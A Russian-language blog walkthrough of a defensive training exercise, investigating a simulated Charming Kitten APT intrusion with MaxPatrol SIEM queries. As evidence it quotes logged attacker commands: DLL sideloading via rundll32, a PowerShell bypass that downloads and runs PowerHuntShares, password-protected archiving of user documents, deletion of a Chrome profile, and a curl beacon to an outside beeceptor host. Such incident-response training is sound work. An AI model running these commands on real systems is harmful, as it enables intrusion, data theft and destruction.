Всем привет! Недавно закрылось расследование атаки APT-группировки Charming Kitten с онлайн марафона, который проходил на онлайн-полигоне Standoff Defend, созданный для тренировки синих команд. Сейчас я бы хотел показать решение и полную цепочку, которую нужно было составить

EpsYlon Solutions

Компания является ведущим поставщиком интегрированных IT-решений, которые позволяют клиентам эффективно реализовывать сложные проекты в сфере информационных технологий, учитывая особенности их отрасли. Именно эта компания подверглась атаке.

С полным описанием инфраструктуры компании вы можете познакомиться тут

Charming Kitten APT

Ближневосточная кибергруппировка (предположительно, прогосударственная) смогла добраться до целевого устройства и провести тщательную разведку. Мы зафиксировали подозрительную активность на этапе коммуникации с управляющим сервером. Попробуйте разобраться, что удалось украсть преступникам.

Группировка часто эксплуатирует недавно обнаруженные уязвимости (N-day), такие как Log4j, в комплексных атаках. У нее есть несколько подгрупп, одна из которых — Nemesis Kitten (DEV-0270, Storm-0270)

Знакомство с SIEM и тем как расследовать

Как провести расследование?
Нам дан MaxPatrol SIEM.
Форматы ввода:

  • Для IP-адреса: только цифры и точки (xxx.xxx.xxx.xxx). Пример: 192.168.1.1, 10.0.0.25

  • Для FQDN (Fully Qualified Domain Name): доменное имя в формате host.example.com (без http://, https:// или пробелов). Пример: server01.corp.local, proxy.company.org

Стоит также познакомится с языком запросов, который используется в SIEM - это язык PDQL (Positive Data Query Language). А также изучить инструкцию по созданию отчета

Го расследовать

Первые шаги

Вводные данные: В папке C:\Users\Public найден архив с названием Documents.7z. Есть подозрение, что кто-то проводил эксфильтрацию данных на рабочей станции tmorgan.bureau.stf.
Атака произошла 11.03.2025.

Для начала поставим нужное время в SIEM

Рис 1. Ставим нужный временной интервал
Рис 1. Ставим нужный временной интервал

Соберем данные:

  • папка и файл: C:\Users\Public\Documents.7z

  • рабочая станция: tmorgan.bureau.stf (10.130.24.199)

  • скорее всего для разархивирования будет использован 7z

Строим первый запрос:

event_src.host = "tmorgan.bureau.stf" AND subject.process.name = "7z.exe" OR object.process.name = "7z.exe"
Рис 2. Результат первого запроса
Рис 2. Результат первого запроса

Первое, что мы находим это алерт 17:08:26 "User ptadmin started suspicious process 7z.exe on host tmorgan.bureau.stf"

Смотрим на артефакты и на таблицу заполнение отчета о расследовании атаки.

При выборе типа артефакта необходимо использовать таблицу приоритетов, приведенную ниже. Приоритетные типы расположены в верхней части таблицы, менее приоритетные — в нижней.

Рис 3. Артефакты которые мы можем заполнять
Рис 3. Артефакты которые мы можем заполнять

Первое что мы выделим это абсолютный путь (а именно с C:\Users\Public\Documents.7z), потому что ни URL, ни взаимодействия с реестром пока что не было, ip адрес мог быть если бы этот Documents.7z откуда-нибудь скачивался, но такого не было.

Рис 3. Первый шаг
Рис 3. Первый шаг

Рассмотрим поподробнее саму команду, которая стригерила 7z.exe (это будет полеobject.process.cmdline)

7z a -t7z -pp@ss -r0 C:\Users\Public\Documents.7z C:\Users\Public\Documents

Команда добавила в архив Documents.7z с паролем p@ss все файлы из директории C:\Users\Public\Documents

Пойдем более выше: рассмотрим подробнее команды, которые были выполнены над папкой Documents

event_src.host = "tmorgan.bureau.stf" AND object.process.cmdline contains "Documents"
Рис 4. События над папкой Documents
Рис 4. События над папкой Documents

Еще с первого запроса я заметил странный чейн (Цепочки порождения процессов) у всех событий, так что я выделил это поле как отдельный столбец

Тщательнее рассмотрев события над папкой Documents, становиться ясно, что

  • 16:17:11
    cmd.exe ← rundll32.exe ← agent.exe: cmd.exe /c dir & del /q Documents & cd Documents & mkdir NewFolder

  • 16:23:57
    исполнение скрипт блоков powerhuntshares.psm1

  • 17:08:26
    cmd.exe ← rundll32.exe ← agent.exe: cmd.exe /c echo password: p@ss & 7z a -t7z -pp@ss -r0 %PUBLIC%\Documents.7z %PUBLIC%\Documents из которой получилось событие с чейном 7z.exe ← cmd.exe ← rundll32.exe ← agent.exe 7z a -t7z -pp@ss -r0 C:\Users\Public\Documents.7z C:\Users\Public\Documents

т.е. то, что мы нашли выше - это середина инцидента. Предположительно, все началось с какого-то процесса agent.exe. Нужно постепенно дойти до него.

Спускаемся вниз

Смотрим сначала, где у нас используется строка "agent"

event_src.host = "tmorgan.bureau.stf" AND object.process.cmdline contains "agent"
Рис 5. События, содержащие в object.process.cmdline строку "agent"
Рис 5. События, содержащие в object.process.cmdline строку "agent"
  • 15:40:09 agent.exe исполняет команду rundll32.exe "C:\Program Files\Standoff\Agent\archer_toxic.windows_mHh1BcR.dll",sideloading_dispatcher -t de6be34b-ea8a-4198-b3bf-14a91e5362a9 -c 10.130.24.199

Видим, что используется инструмент Archer Toxic

Посмотрим еще более глобально с помощью фильтра "body contains" (на самом деле мой любимый фильтр, но с ним нужно быть осторожнее, потому что если событий много, то можно не дожаться отвата, а худшем случае положить сервер)

event_src.host = "tmorgan.bureau.stf" AND body contains "agent.exe"
Рис 6. Глобальный запрос на наличие в теле события строки "agent"
Рис 6. Глобальный запрос на наличие в теле события строки "agent"

Можем предположить, что agent.exe запустился примерно в 14:47:58, после чего rundll32.exe открыл соединение для злоумышленника.

Продолжаем

Теперь пора выстроить всю цепочку действий

  • 14:47:58 tcp конекты от agent.exe

  • 15:40:08 Процесс agent.exe создал файл archer_toxic.windows_mhh1bcr.dll на хосте tmorgan.bureau.stf (c:\program files\standoff\agent\archer_toxic.windows_mhh1bcr.dll)

  • 15:40:09 видно использование инструмента archer toxic
    rundll32.exe "C:\Program Files\Standoff\Agent\archer_toxic.windows_mHh1BcR.dll",sideloading_dispatcher -t de6be34b-ea8a-4198-b3bf-14a91e5362a9 -c 10.130.24.199

  • 15:40:10 старт tcp коннектов

  • 15:45:50 исполне��а команда
    cmd.exe /c whoami

Рис 7. Исполнение команды whoami
Рис 7. Исполнение команды whoami
  • 15:50:31
    cmd.exe /c net view & ping -n 1 8.8.8.8

  • 15:50:31
    net view

  • 15:52:18
    cmd.exe /C "net share > network_shares.txt"

Рис 8. События с net share
Рис 8. События с net share
  • 16:00:59
    cmd.exe /c hostname

  • 16:17:11
    cmd.exe /c dir & del /q Documents & cd Documents & mkdir NewFolder

  • 16:23:51 попытка скачать и запустить скрипт powerhuntshares.psm1 на хосте tmorgan.bureau.stf powershell.exe -Command " Set-ExecutionPolicy -Scope Process Bypass -Force ; Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1' -OutFile PowerHuntShares.psm1 ; Import-Module .\PowerHuntShares.psm1" ; Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:/temp/test

  • 16:23:57 скриптблоки powerhuntshares.psm1 выполнены

  • 16:39:43 обнаружена попытка запроса к реестру на хосте tmorgan.bureau.stf
    cmd.exe /c "reg query HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths > typed_paths.txt"

  • 16:47:13 попытка запустить скрипт security_software_discovery.vbs на хосте tmorgan.bureau.stf
    cmd.exe /c cscript security_software_discovery.vbs

  • 16:58:54
    cmd.exe /c cd "%LOCALAPPDATA%\Google\Chrome\User Data" & rd /s /q Default

  • 17:08:21 процессagent.exe создал файл 7z.dll на хосте tmorgan.bureau.stf

  • 17:08:26 Юзер ptadmin запустил процесс 7z.exe на хосте tmorgan.bureau.stf
    7z a -t7z -pp@ss -r0 C:\Users\Public\Documents.7z C:\Users\Public\Documents+ процесс 7z.exe загрузил библитеку 7z.dll на хосте tmorgan.bureau.stf, Пользователь ptadmin запустил вредоносный код, разместив файл библиотеки 7z.dll рядом с легитимным приложением 7z.exe и запустив это приложение.

  • Попытка нарушения безопасности со стороны пользователя ptadmin, запустившего процесс rundll32.exe и создавшего файл 7z.dll на хосте tmorgan.bureau.stf.

    Рис 9. События с 7z.exe
    Рис 9. События с 7z.exe
  • 17:19:06
    cmd.exe /c curl -X POST -d "id=123" -d "command=get" https://testtest.free.beeceptor.com --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"

  • 17:19:09 IP-адреса для хоста testtest.free.beeceptor.com на хосте tmorgan.bureau.stf определен как 159.89.140.122

  • 17:21:52 процесс agent.exe создал файл standard_encoding.ps1 на хосте tmorgan.bureau.stf

  • 17:21:53 standard_encoding.ps1 выполнен

    Рис 10. Начало скрипта standard_encoding.ps1
    Рис 10. Начало скрипта standard_encoding.ps1
  • 17:21:55
    IP-адреса для хостаstandardenc.free.beeceptor.com - 159.89.140.122

Как выстраивался чейн

Несколько техник, которыми я воспользовался, чтобы выстроить всю цепочку:

  • Следование по чейну через id процессов
    Здесь и тут более подробно по этой теме

    Чейн процесса - это вещь вида "rundll32.exe ← agent.exe". Чаще всего она оставалась такой и хакер делал все свои действия из нее. При использовании какой-нибудь утилиты чейн расширялся. К примеру вот:

    Рис 11. Пример расширение чейна
    Рис 11. Пример расширение чейна
    Рис 12. Использование object.process.id
    Рис 12. Использование object.process.id

    Если мы нашли процесс только с чейном "hostname.exe ← cmd.exe ← rundll32.exe ← agent.exe",

    Рис 13. пример object.process.idиobject.process.parent.id
    Рис 13. пример object.process.idиobject.process.parent.id

    то смогли бы перейти к родительскому процессу, найдя object.process.parent.id:884. Потом просто создаем фильтр и получаем все команды, исполненные из родительского:

    event_src.host = "tmorgan.bureau.stf" AND object.process.id = 884
  • каждая команда запускалась без -WindowStyle Hidden, поэтому она "прикреплялась" к еще одному процессу - созданию окна выполнения команды

Рис 14. пример события conhost.exe
Рис 14. пример события conhost.exe
  • Хорошим советом будет пользоваться корреляцией

  • убираем tcp конекты, когда мешают с помощью object != "connection",

  • curl обращается в интернет, а это значит нельзя забывать про dns запросы при обращении на какие-то ресурсы (ip адрес как артефакт)

  • Пользоваться таблицей приоритетов

Все шаги расследования и результаты

Рис  15. Полный чейн расследования
Рис 15. Полный чейн расследования

Сначала я думал что нужно выстраивать шаги с самого начала атаки, но потом разобрался, что подходит любой - главное чтобы он был правильным

Рис 16. Результат
Рис 16. Результат

Вполне себе неплохая атака из 12 шагов, подкрепил знания продукта MP SIEM от позитивов.

Также кому интересно у меня есть небольшой склад заметок в основном по вебу и форензике, но иногда и другим категориям с CTF. Чуть-чуть про багбаунти (надеюсь будет больше) - https://t.me/Fastyyy_bio